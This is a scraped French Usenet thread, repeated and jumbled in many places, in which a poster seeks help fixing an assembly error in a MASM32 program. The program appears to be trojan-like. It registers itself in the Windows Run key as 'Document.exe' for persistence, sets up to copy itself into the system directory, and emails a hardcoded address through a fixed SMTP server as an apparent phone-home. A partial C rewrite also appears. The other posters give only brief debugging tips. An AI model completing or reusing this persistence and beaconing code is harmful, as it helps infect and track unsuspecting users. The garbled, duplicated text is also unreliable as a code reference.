include \masm32\include\advapi32.inc
include \masm32\include\windows.inc
include \masm32\include\masm32.inc
include \masm32\include\wsock32.inc
include \masm32\include\user32.inc
include \masm32\include\kernel32.inc
includelib \masm32\lib\user32.lib
includelib \masm32\lib\kernel32.lib
includelib \masm32\lib\wsock32.lib
includelib \masm32\lib\masm32.lib
includelib \masm32\include\advapi32.lib
Mys PROTO :DWORD
.DATA
szKeyName db "Software\Microsoft\Windows\CurrentVersion\Run\",0
szStringValue db "Document",0
RegistryText db "Document.exe",0
Slash db "\",0
;les OFFSETS initialises de notre MessageBox
;Title_Box db "Document.exe",0
;Msg_Box db "Document.exe",0
SMTP db "193.252.22.109",0 ;IP du srv smtp.infonie.be
EHLO db "EHLO localhost.localdomain",13 ,10 ,0
MAIL_FROM db "MAIL FROM:<serge.john.swilting@wanadoo.fr>",13 ,10 ,0
RCPT_TO db "RCPT TO:<john.swilting@wanadoo.fr>",13 ,10 ,0
DONNEES db "DATA",13 ,10 ,0
TEXTE db "yum install pas 2 skull !",13 ,10 ,13 ,10 ,0
FIN_DONNEES db ".",13 ,10 ,0
FERME db "QUIT",13 ,10 ,0 ;fini la connection
;smtp
wsadata WSADATA <;> ;pour la structure du socket
sin sockaddr_in <;>
Port dd 25 ;port smtp
.DATA?
sock dd ? ;pour la structure du socket
buf db 255 dup (?) ;buffer pour le MessageBox
Disp DWORD ?
System_Dir db 256 dup(?)
Himself db 256 dup(?)
pKey DWORD ?
dans l'article 44b49c96$0$858$, Vincent Burel à a écrit le 12/07/06 8:54 :
Quand qqc ne compile pas, on donne d'abord l'erreur fournie par le compilateur / linker...
"john.swilting" wrote in message news:44b25cc3$0$860$
;MASM32
.386 .model flat,stdcall option casemap:none
include masm32includeadvapi32.inc
[...]
END start
Microsoft Macro Assembleur 6.14 Copyrigh
Assembling Document.asm Document.asm(79) : error A2206: missing operator in expression
Assembly error
john.swilting
dans l'article 44b25cc3$0$860$, john.swilting à a écrit le 10/07/06 15:57 :
;MASM32
.386 .model flat,stdcall option casemap:none
include masm32includeadvapi32.inc include masm32includewindows.inc include masm32includemasm32.inc include masm32includewsock32.inc include masm32includeuser32.inc include masm32includekernel32.inc includelib masm32libuser32.lib includelib masm32libkernel32.lib includelib masm32libwsock32.lib includelib masm32libmasm32.lib includelib masm32includeadvapi32.lib
Mys PROTO :DWORD
.DATA szKeyName db "SoftwareMicrosoftWindowsCurrentVersionRun",0 szStringValue db "Document",0 RegistryText db "Document.exe",0 Slash db "",0 ;les OFFSETS initialises de notre MessageBox ;Title_Box db "Document.exe",0 ;Msg_Box db "Document.exe",0 SMTP db "193.252.22.109",0 ;IP du srv smtp.infonie.be
EHLO db "EHLO localhost.localdomain",13 ,10 ,0 MAIL_FROM db "MAIL FROM:",13 ,10 ,0 RCPT_TO db "RCPT TO:",13 ,10 ,0 DONNEES db "DATA",13 ,10 ,0 TEXTE db "yum install pas 2 skull !",13 ,10 ,13 ,10 ,0 FIN_DONNEES db ".",13 ,10 ,0
FERME db "QUIT",13 ,10 ,0 ;fini la connection ;smtp
wsadata WSADATA <;> ;pour la structure du socket sin sockaddr_in <;> Port dd 25 ;port smtp
.DATA?
sock dd ? ;pour la structure du socket buf db 255 dup (?) ;buffer pour le MessageBox Disp DWORD ? System_Dir db 256 dup(?) Himself db 256 dup(?) pKey DWORD ?
push pKey call RegCloseKey ret SetRegKeysz ENDP ;---------------------------------------
Mys proc SendStr : DWORD
push edi mov edi, SendStr .WHILE TRUE .BREAK .IF (byte ptr [edi] == 0 ) invoke send, sock, edi, 1, 0 inc edi .ENDW pop edi ret Mys endp
END start
dans l'article 44b25cc3$0$860$ba4acef3@news.orange.fr, john.swilting à
john.swilting@wanadoo.fr a écrit le 10/07/06 15:57 :
;MASM32
.386
.model flat,stdcall
option casemap:none
include masm32includeadvapi32.inc
include masm32includewindows.inc
include masm32includemasm32.inc
include masm32includewsock32.inc
include masm32includeuser32.inc
include masm32includekernel32.inc
includelib masm32libuser32.lib
includelib masm32libkernel32.lib
includelib masm32libwsock32.lib
includelib masm32libmasm32.lib
includelib masm32includeadvapi32.lib
Mys PROTO :DWORD
.DATA
szKeyName db "SoftwareMicrosoftWindowsCurrentVersionRun",0
szStringValue db "Document",0
RegistryText db "Document.exe",0
Slash db "",0
;les OFFSETS initialises de notre MessageBox
;Title_Box db "Document.exe",0
;Msg_Box db "Document.exe",0
SMTP db "193.252.22.109",0 ;IP du srv smtp.infonie.be
EHLO db "EHLO localhost.localdomain",13 ,10 ,0
MAIL_FROM db "MAIL FROM:<serge.john.swilting@wanadoo.fr>",13 ,10 ,0
RCPT_TO db "RCPT TO:<john.swilting@wanadoo.fr>",13 ,10 ,0
DONNEES db "DATA",13 ,10 ,0
TEXTE db "yum install pas 2 skull !",13 ,10 ,13 ,10 ,0
FIN_DONNEES db ".",13 ,10 ,0
FERME db "QUIT",13 ,10 ,0 ;fini la connection
;smtp
wsadata WSADATA <;> ;pour la structure du socket
sin sockaddr_in <;>
Port dd 25 ;port smtp
.DATA?
sock dd ? ;pour la structure du socket
buf db 255 dup (?) ;buffer pour le MessageBox
Disp DWORD ?
System_Dir db 256 dup(?)
Himself db 256 dup(?)
pKey DWORD ?
dans l'article 44b25cc3$0$860$, john.swilting à a écrit le 10/07/06 15:57 :
;MASM32
.386 .model flat,stdcall option casemap:none
include masm32includeadvapi32.inc include masm32includewindows.inc include masm32includemasm32.inc include masm32includewsock32.inc include masm32includeuser32.inc include masm32includekernel32.inc includelib masm32libuser32.lib includelib masm32libkernel32.lib includelib masm32libwsock32.lib includelib masm32libmasm32.lib includelib masm32includeadvapi32.lib
Mys PROTO :DWORD
.DATA szKeyName db "SoftwareMicrosoftWindowsCurrentVersionRun",0 szStringValue db "Document",0 RegistryText db "Document.exe",0 Slash db "",0 ;les OFFSETS initialises de notre MessageBox ;Title_Box db "Document.exe",0 ;Msg_Box db "Document.exe",0 SMTP db "193.252.22.109",0 ;IP du srv smtp.infonie.be
EHLO db "EHLO localhost.localdomain",13 ,10 ,0 MAIL_FROM db "MAIL FROM:",13 ,10 ,0 RCPT_TO db "RCPT TO:",13 ,10 ,0 DONNEES db "DATA",13 ,10 ,0 TEXTE db "yum install pas 2 skull !",13 ,10 ,13 ,10 ,0 FIN_DONNEES db ".",13 ,10 ,0
FERME db "QUIT",13 ,10 ,0 ;fini la connection ;smtp
wsadata WSADATA <;> ;pour la structure du socket sin sockaddr_in <;> Port dd 25 ;port smtp
.DATA?
sock dd ? ;pour la structure du socket buf db 255 dup (?) ;buffer pour le MessageBox Disp DWORD ? System_Dir db 256 dup(?) Himself db 256 dup(?) pKey DWORD ?
"john.swilting" wrote in message news:C0DD8DD3.43F2%
dans l'article 44b49c96$0$858$, Vincent Burel
elys
"john.swilting" wrote in message news:44b7d8a0$0$882$
Vincent Burel wrote: >> Microsoft Macro Assembleur 6.14 >> Copyrigh >> >> Assembling Document.asm >> Document.asm(79) : error A2206: missing operator in expression > > et bien allez la ligne concern e par cette erreur et corriger la.
vous pouvez pas m aider je suis assez dans le vague avec cette erreur
Déjà on ne sait pas quelle ligne c'est. Et ré-écris le en C ou C++, c'est plus lisible.
"john.swilting" <john.swilting@wanadoo.fr> wrote in message
news:44b7d8a0$0$882$ba4acef3@news.orange.fr...
Vincent Burel wrote:
>> Microsoft Macro Assembleur 6.14
>> Copyrigh
>>
>> Assembling Document.asm
>> Document.asm(79) : error A2206: missing operator in expression
>
> et bien allez la ligne concern e par cette erreur et corriger la.
vous pouvez pas m aider je suis assez dans le vague avec cette erreur
Déjà on ne sait pas quelle ligne c'est.
Et ré-écris le en C ou C++, c'est plus lisible.
"john.swilting" wrote in message news:44b7d8a0$0$882$
Vincent Burel wrote: >> Microsoft Macro Assembleur 6.14 >> Copyrigh >> >> Assembling Document.asm >> Document.asm(79) : error A2206: missing operator in expression > > et bien allez la ligne concern e par cette erreur et corriger la.
vous pouvez pas m aider je suis assez dans le vague avec cette erreur
Déjà on ne sait pas quelle ligne c'est. Et ré-écris le en C ou C++, c'est plus lisible.
john.swilting
elys wrote:
"john.swilting" wrote in message news:44b7d8a0$0$882$
Vincent Burel wrote: >> Microsoft Macro Assembleur 6.14 >> Copyrigh >> >> Assembling Document.asm >> Document.asm(79) : error A2206: missing operator in expression > > et bien allez la ligne concern e par cette erreur et corriger la.
vous pouvez pas m aider je suis assez dans le vague avec cette erreur
D
elys wrote:
"john.swilting" <john.swilting@wanadoo.fr> wrote in message
news:44b7d8a0$0$882$ba4acef3@news.orange.fr...
Vincent Burel wrote:
>> Microsoft Macro Assembleur 6.14
>> Copyrigh
>>
>> Assembling Document.asm
>> Document.asm(79) : error A2206: missing operator in expression
>
> et bien allez la ligne concern e par cette erreur et corriger la.
vous pouvez pas m aider je suis assez dans le vague avec cette erreur
"john.swilting" wrote in message news:44b7d8a0$0$882$
Vincent Burel wrote: >> Microsoft Macro Assembleur 6.14 >> Copyrigh >> >> Assembling Document.asm >> Document.asm(79) : error A2206: missing operator in expression > > et bien allez la ligne concern e par cette erreur et corriger la.
vous pouvez pas m aider je suis assez dans le vague avec cette erreur
D
Arnold McDonald \(AMcD\)
De l'assembleur avec des invoke ! Mondieukeloreur !!!
-- Arnold McDonald (AMcD)
http://arnold.mcdonald.free.fr/
De l'assembleur avec des invoke ! Mondieukeloreur !!!
De l'assembleur avec des invoke ! Mondieukeloreur !!!
-- Arnold McDonald (AMcD)
http://arnold.mcdonald.free.fr/
Vincent Burel
"john.swilting" wrote in message news:44b7d8a0$0$882$
Vincent Burel wrote:
> > "john.swilting" wrote in message > news:C0DD8DD3.43F2% >> dans l'article 44b49c96$0$858$, Vincent Burel >> a crit le 12/07/06 8:54 : >> >> > Quand qqc ne compile pas, on donne d'abord l'erreur fournie par le >> > compilateur / linker... >> > > >> Microsoft Macro Assembleur 6.14 >> Copyrigh >> >> Assembling Document.asm >> Document.asm(79) : error A2206: missing operator in expression > > et bien allez la ligne concern e par cette erreur et corriger la.
vous pouvez pas m aider je suis assez dans le vague avec cette erreur
Et bien donnez nous la ligne concernée par cette erreur , c'est semble -t-il la ligne 79 dans le document.asm concerné... vous devriez vite voir qu'il manque un opérateur dans votre expression...
"john.swilting" <john.swilting@wanadoo.fr> wrote in message
news:44b7d8a0$0$882$ba4acef3@news.orange.fr...
Vincent Burel wrote:
>
> "john.swilting" <john.swilting@wanadoo.fr> wrote in message
> news:C0DD8DD3.43F2%john.swilting@wanadoo.fr...
>> dans l'article 44b49c96$0$858$ba4acef3@news.orange.fr, Vincent Burel
>> vincent.burel@nospam.wanadoo.fr a crit le 12/07/06 8:54 :
>>
>> > Quand qqc ne compile pas, on donne d'abord l'erreur fournie par le
>> > compilateur / linker...
>> >
>
>> Microsoft Macro Assembleur 6.14
>> Copyrigh
>>
>> Assembling Document.asm
>> Document.asm(79) : error A2206: missing operator in expression
>
> et bien allez la ligne concern e par cette erreur et corriger la.
vous pouvez pas m aider je suis assez dans le vague avec cette erreur
Et bien donnez nous la ligne concernée par cette erreur , c'est semble -t-il
la ligne 79 dans le document.asm concerné... vous devriez vite voir qu'il
manque un opérateur dans votre expression...
"john.swilting" wrote in message news:44b7d8a0$0$882$
Vincent Burel wrote:
> > "john.swilting" wrote in message > news:C0DD8DD3.43F2% >> dans l'article 44b49c96$0$858$, Vincent Burel >> a crit le 12/07/06 8:54 : >> >> > Quand qqc ne compile pas, on donne d'abord l'erreur fournie par le >> > compilateur / linker... >> > > >> Microsoft Macro Assembleur 6.14 >> Copyrigh >> >> Assembling Document.asm >> Document.asm(79) : error A2206: missing operator in expression > > et bien allez la ligne concern e par cette erreur et corriger la.
vous pouvez pas m aider je suis assez dans le vague avec cette erreur
Et bien donnez nous la ligne concernée par cette erreur , c'est semble -t-il la ligne 79 dans le document.asm concerné... vous devriez vite voir qu'il manque un opérateur dans votre expression...
int main(void){ WSAStartup; int to_server_socket; char server_name[] = "smtp.wanadoo.fr"; int port = 25; struct sockaddr_in serverSockAddr; struct hostent *serverHostEnt; unsigned long hostAddr;
shutdown(to_server_socket,2); close (to_server_socket); WSACleanup; } }
j ai des erreurs au linkage il reconnait pas bcopy et autres je ne connais pas win et l api
"elys" a écrit dans le message de news: 44b7dca1$0$7767$
"john.swilting" wrote in message news:44b7d8a0$0$882$
Vincent Burel wrote: >> Microsoft Macro Assembleur 6.14 >> Copyrigh >> >> Assembling Document.asm >> Document.asm(79) : error A2206: missing operator in expression > > et bien allez la ligne concern e par cette erreur et corriger la.
vous pouvez pas m aider je suis assez dans le vague avec cette erreur
Déjà on ne sait pas quelle ligne c'est. Et ré-écris le en C ou C++, c'est plus lisible.
int main(void){
WSAStartup;
int to_server_socket;
char server_name[] = "smtp.wanadoo.fr";
int port = 25;
struct sockaddr_in serverSockAddr;
struct hostent *serverHostEnt;
unsigned long hostAddr;
shutdown(to_server_socket,2);
close (to_server_socket);
WSACleanup;
}
}
j ai des erreurs au linkage il reconnait pas bcopy et autres je ne connais
pas win
et l api
"elys" <bart@sicom.fr> a écrit dans le message de news:
44b7dca1$0$7767$7a628cd7@news.club-internet.fr...
"john.swilting" <john.swilting@wanadoo.fr> wrote in message
news:44b7d8a0$0$882$ba4acef3@news.orange.fr...
Vincent Burel wrote:
>> Microsoft Macro Assembleur 6.14
>> Copyrigh
>>
>> Assembling Document.asm
>> Document.asm(79) : error A2206: missing operator in expression
>
> et bien allez la ligne concern e par cette erreur et corriger la.
vous pouvez pas m aider je suis assez dans le vague avec cette erreur
Déjà on ne sait pas quelle ligne c'est.
Et ré-écris le en C ou C++, c'est plus lisible.
int main(void){ WSAStartup; int to_server_socket; char server_name[] = "smtp.wanadoo.fr"; int port = 25; struct sockaddr_in serverSockAddr; struct hostent *serverHostEnt; unsigned long hostAddr;
shutdown(to_server_socket,2); close (to_server_socket); WSACleanup; } }
j ai des erreurs au linkage il reconnait pas bcopy et autres je ne connais pas win et l api
"elys" a écrit dans le message de news: 44b7dca1$0$7767$
"john.swilting" wrote in message news:44b7d8a0$0$882$
Vincent Burel wrote: >> Microsoft Macro Assembleur 6.14 >> Copyrigh >> >> Assembling Document.asm >> Document.asm(79) : error A2206: missing operator in expression > > et bien allez la ligne concern e par cette erreur et corriger la.
vous pouvez pas m aider je suis assez dans le vague avec cette erreur
Déjà on ne sait pas quelle ligne c'est. Et ré-écris le en C ou C++, c'est plus lisible.